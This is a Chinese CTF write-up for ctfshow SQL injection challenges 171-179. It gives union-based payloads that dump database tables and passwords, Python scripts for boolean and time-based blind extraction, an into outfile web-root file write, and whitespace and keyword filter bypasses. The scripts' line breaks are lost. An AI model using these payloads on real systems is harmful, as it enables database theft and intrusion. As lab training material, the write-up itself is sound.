ctfshow sql171-179

mysql

先打开我们本地的mysql,可以看到这些数据库

information_schema

information_schema 库: 是信息数据库,其中保存着关于MySQL服务器所维护的所有其他数据库的信息比如数据库名,数据库表,

SCHEMATA表: 提供了当前MySQL实例中所有的数据库信息,show databases 结果取之此表
TABLES 表:提供了关于数据中表的信息
COLUMNS 表:提供了表中的列信心,详细描述了某张表的所有列已经每个列的信息

mysql

mysql库: MySQL的核心数据库,主要负责存储数据库的用户、权限设置、关键字等mysql自己需要使用的控制和管理信息。

performance_schema

performance_schema 库: 内存数据库,数据放在内存中直接操作的数据库。相对于磁盘,内存的数据读写速度要高出几个数量级,将数据保存在内存中相 比从磁盘上访问能够极大地提高应用的性能。

 

sys

sys 库:通过这个数据库数据库,可以查询谁使用了最多的资源基于IP或是用户。哪张表被访问过最多等等信息。

ctfshow

171

 

1' 报错

注释 --+

三列

爆当前数据库

1' union select 1,2,database() --+在第三个位置插入当前数据库

爆表

1' union select 1,2,table_name from information_schema.tables where table_schema='ctfshow_web' --+在information_schema的tables表中查找table_name当table_schema列为ctfshow_web的时候

爆字段

1' union select 1,2,column_name from information_schema.columns where table_name='ctfshow_user' --+与上个类似

 

1' union select 1,2,password from ctfshow_user --+猜测flag在password字段里面

172

查询语句不允许直接查 username=flag的记录。 

//检查结果是否有flagif($row->username!=='flag'){$ret['msg']='查询成功';}

跟171一样也是单引号报错

1' union select 1,2 --+字段数为2

爆库

爆表

1' union select 1,table_name from information_schema.tables where table_schema='ctfshow_web' --+

 爆字段名

1' union select 1,column_name from information_schema.columns where table_name='ctfshow_user2' --+在columns这个表中查询字段名当表名为ctfshow_user2的时候

1' union select 1,password from ctfshow_user2--+

 173

//检查结果是否有flagif(!preg_match('/flag/i', json_encode($ret))){$ret['msg']='查询成功';}

字段数为3

1' union select  1,2,database() --+ 

1' union select  1,2,table_name from information_schema.tables where table_schema='ctfshow_web' --+

 

1' union select  1,2,column_name from information_schema.columns where table_name='ctfshow_user3' --+

 

1' union select  1,2,password from ctfshow_user3 --+

174

//检查结果是否有flagif(!preg_match('/flag|[0-9]/i', json_encode($ret))){$ret['msg']='查询成功';}

返回的值不能有数字了

抓包一下,看到admin

加个单引号

没有信息,由此可以判断是布尔盲注了

布尔盲注

访问一下看看

不适用二分法跑的很慢很慢

import requestsurl = 'http://2691519d-979d-4309-8fa7-5d333534bef7.challenge.ctf.show/api/v4.php'
flag = ''for i in range(60):for j in range(32, 128):payload = f"?id=1' union select 'a',if(ascii(substr((select group_concat(password) from ctfshow_user4 where username='flag'),{i},1))={j},'True','False') --+" //f''是一种字符串插值的方式,也被称为f-stringr = requests.get(url=url+payload).textif 'True' in r:flag += chr(j)print(flag)breakimport requestsurl="http://2691519d-979d-4309-8fa7-5d333534bef7.challenge.ctf.show/api/v4.php"
payload="?id=1' union select 'a',if(ascii(substr((select group_concat(password) from ctfshow_user4 where username='flag'),{0},1))={1},'true','false') --+"
flag=''for i in range(50):for j in range(32,128):payload1=payload.format(i,j)print(payload1)params={'password':payload1,'username':1}response=requests.get(url=url,params=params)if 'true' in response.text:flag+=chr(j)print(flag)break

 使用二分法

  1. 在每次二分查找中,计算中间值j,即min和max的中间值。
  2. 如果min和j相等,说明已经找到了特定元素,将其转换为字符并添加到flag中,然后打印flag并结束当前循环。
  3. 如果min和j不相等,则构造一个payload,用于发送请求。payload中包含一个SQL注入语句,通过判断特定位置的字符的ASCII码是否小于j来判断是否找到了特定元素
  • 如果响应结果中包含'True',说明特定位置的字符的ASCII码小于j,将max更新为j。
  • 如果响应结果中不包含'True',说明特定位置的字符的ASCII码大于等于j,将min更新为j。 
import requests
url = 'http://2691519d-979d-4309-8fa7-5d333534bef7.challenge.ctf.show/api/v4.php'
flag = ''
for i in range(60):lenth = len(flag)min,max = 32,128while True:j = min + (max-min)//2if(min == j):flag += chr(j)print(flag)breakpayload = f"?id=' union select 'a',if(ascii(substr((select group_concat(password) from ctfshow_user4 where username='flag'),{i},1))<{j},'True','False') --+"r = requests.get(url=url+payload).textif('True' in r):max = jelse:min = j

替换

0' union select REPLACE(username,'g','j'),REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(password,'g','9'),'0','h'),'1','i'),'2','j'),'3','k'),'4','l'),'5','m'),'6','n'),'7','o'),'8','p'),'9','q') from ctfshow_user4 where username='flag' --+0替换为h
1替换为i
2替换为j
3替换为k
4替换为l
5替换为m
6替换为n
7替换为o
8替换为p
9替换为q

ctfshow{plcnhacc-kipa-lqqp-qihk-iccqelhffjja}
ctfshow{84c60acc-318a-4998-9103-1cc9e40ff22a}

175

//检查结果是否有flagif(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){$ret['msg']='查询成功';}

过滤掉了ascii从0到127的字符,所以就不能单纯地靠回显来爆出flag

使用bp抓包看看,又看到api接口

 

只有两列

时间盲注

写了很久大姐

import requestsimport timeurl = 'http://19f0da73-14c2-4086-adc5-f3c1a82ea553.challenge.ctf.show/api/v5.php'
flag = ''for i in range(1, 60):for j in range(97, 128):payload = f"?id=1' and if(ascii(substr((select group_concat(password) from ctfshow_user5 where username='flag'),{i},1))>{j},sleep(0.5),0)--+"start_time = time.time()r = requests.get(url=url + payload).textend_time = time.time()if end_time - start_time <= 0.45:flag += chr(j)print(flag)break

这是别人用的二分法

import requests
from time import timeurl = 'http://19f0da73-14c2-4086-adc5-f3c1a82ea553.challenge.ctf.show/api/v5.php'
flag = ''for i in range(1, 100):length = len(flag)min = 32max = 128while 1:j = min + (max - min) // 2if min == j:flag += chr(j)print(flag)breakpayload = "?id=' union select 'a',if(ascii(substr((select group_concat(password) from ctfshow_user5 where username='flag'),%d,1))<%d,sleep(0.5),1) --+" % (i, j)start_time = time()r = requests.get(url=url + payload).textend_time = time()# print(r)if end_time - start_time > 0.48:max = jelse:min = j

文件写入

写入文件的前提是知道网站初始的目录,一般来说都是/var/www/html/

1' union select 1,password from ctfshow_user5 into outfile '/var/www/html/1.txt'--+

 

so,输出被限制的时候可以利用文件写入操作,into outfile 

176 select过滤

这关select被过滤,大写绕过

Select

 

1' union Select 1,2,table_name from information_schema.tables where table_schema='ctfshow_web' --+

 

1' union Select 1,2,column_name from information_schema.columns where table_name='ctfshow_user' --+

1' union Select 1,2,password from ctfshow_user --+

177 空格过滤

这里用#的url编码%23来替代

用内敛注释 /**/ 代替空格

 

1'/**/union/**/select/**/1,2,table_name/**/from/**/information_schema.tables/**/where/**/table_schema='ctfshow_web'%23

 

1'/**/union/**/select/**/1,2,column_name/**/from/**/information_schema.columns/**/where/**/table_name='ctfshow_user'%23

1'/**/union/**/select/**/1,2,password/**/from/**/ctfshow_user%23

178  *过滤

不能用*

那用%09来绕过空格

 

1'%09union%09select%091,2,table_name%09from%09information_schema.tables%09where%09table_schema='ctfshow_web'%23

 

1'%09union%09select%091,2,column_name%09from%09information_schema.columns%09where%09table_name='ctfshow_user'%23

 

1'%09union%09select%091,2,password%09from%09ctfshow_user%23

 

179

这里用%0c来代替空格

1'%0cunion%0cselect%0c1,2,3%231'%0cunion%0cselect%0c1,2,table_name%0cfrom%0cinformation_schema.tables%0cwhere%0ctable_schema='ctfshow_web'%231'%0cunion%0cselect%0c1,2,column_name%0cfrom%0cinformation_schema.columns%0cwhere%0ctable_name='ctfshow_user'%231'%0cunion%0cselect%0c1,2,password%0cfrom%0cctfshow_user%23

总结1下空格被过滤绕过的方法

%0a
%0b
%0c
%0d
%09
%a0(在特定字符集才能利用)
以上均为URL编码/**/组合
括号
%23代替注释符 -- 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/171037.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Android 基本属性绘制文本对象FontMetrics

FontMetrics对象 它以四个基本坐标为基准&#xff0c;分别为&#xff1a; ・FontMetrics.top ・FontMetrics.ascent ・FontMetrics.descent ・FontMetrics.bottom 如图: 要点如下&#xff1a; 1. 基准点是baseline 2. Ascent是baseline之上至字符最高处的距离 3. Descent是ba…

MySQL(15):存储过程与函数

存储过程概述 含义&#xff1a; 存储过程的英文是 Stored Procedure 。它的思想很简单&#xff0c;就是一组经过 预先编译 的 SQL 语句的封装。 执行过程&#xff1a; 存储过程预先存储在 MySQL 服务器上&#xff0c;需要执行的时候&#xff0c;客户端只需要向服务器端发出调用…

【算法与数据结构】491、LeetCode递增子序列

文章目录 一、题目二、解法三、完整代码 所有的LeetCode题解索引&#xff0c;可以看这篇文章——【算法和数据结构】LeetCode题解。 一、题目 二、解法 思路分析&#xff1a;本题和【算法与数据结构】78、90、LeetCode子集I&#xff0c; II中90.子集II问题有些类似&#xff0c;…

51单片机入门

一、单片机以及开发板介绍 写在前面&#xff1a;本文为作者自学笔记&#xff0c;课程为哔哩哔哩江协科技51单片机入门教程&#xff0c;感兴趣可以看看&#xff0c;适合普中A2开发板或者HC6800-ESV2.0江协科技课程所用开发板。 工具安装请另行搜索&#xff0c;这里不做介绍&…

007 Linux fork()函数

前言 本文将会以提问的形式展开向你介绍fork函数 文章重点 关于fork函数&#xff0c;本文重点在于解决以下疑问 疑问一&#xff1a; 为什么fork之前的代码只有父进程执行&#xff0c;然而fork之后的代码父子进程都要执行 疑问二&#xff1a; 1、既然fork之后父子进程会执行一…

【Copilot】登录报错 Extension activation failed: “No auth flow succeeded.“(VSCode)

问题描述 当尝试在 Visual Studio Code 中登录 GitHub Copilot 插件时&#xff0c;会出现报错的情况&#xff0c;如下图所示&#xff1a; 尽管在浏览器中成功授权了 GitHub 账户&#xff0c;但在返回 VSCode 后仍然报错&#xff0c;如下图所示&#xff1a; 同时&#xff0c;在…

mysql 讲解(1)

文章目录 前言一、基本的命令行操作二、操作数据库语句2.1、创建数据库2.2、删除数据库2.3、使用数据库2.4 查看所有数据库 三、列的数据类型3.1 字符串3.2 数值3.3 时间日期3.4 空3.5 int 和 varchar问题总结&#xff1a; 四、字段属性4.1 UnSigned4.2 ZEROFILL4.3 Auto_InCre…

python的re正则表达式

华子目录 什么是正则表达式元字符字符集字符集与元字符的综合使用 数量规则指定匹配次数边界处理分组匹配贪婪匹配非贪婪匹配re.S转义字符re.search()re.sub()实例常见的匹配模式 什么是正则表达式 正则表达式是一个特殊的字符序列&#xff0c;它能帮助你方便的检查一个字符串…

nmap原理与使用

kali的命令行中可以直接使用 nmap 命令&#xff0c;打开一个「终端」&#xff0c;输入 nmap 后回车&#xff0c;可以看到 nmap 的版本&#xff0c;证明 nmap 可用。 一、端口扫描 扫描主机的「开放端口」&#xff0c;在nmap后面直接跟主机IP&#xff08;默认扫描1000个端口&am…

数据库存储过程

存储过程&#xff1a; 是一组为了完成特定功能的sql语句的集合。类似于函数。 写好了一个存储过程之后&#xff0c;我们可以像函数一样随时调用sql的集合。 复杂的&#xff0c;需要很多sql语句联合执行完成的任务。 存储过程在执行上比sql语句的执行速度要快&#xff0c;效率…

【Spring Boot 源码学习】初识 SpringApplication

Spring Boot 源码学习系列 初识 SpringApplication 引言往期内容主要内容1. Spring Boot 应用程序的启动2. SpringApplication 的实例化2.1 构造方法参数2.2 Web 应用类型推断2.3 加载 BootstrapRegistryInitializer2.4 加载 ApplicationContextInitializer2.5 加载 Applicatio…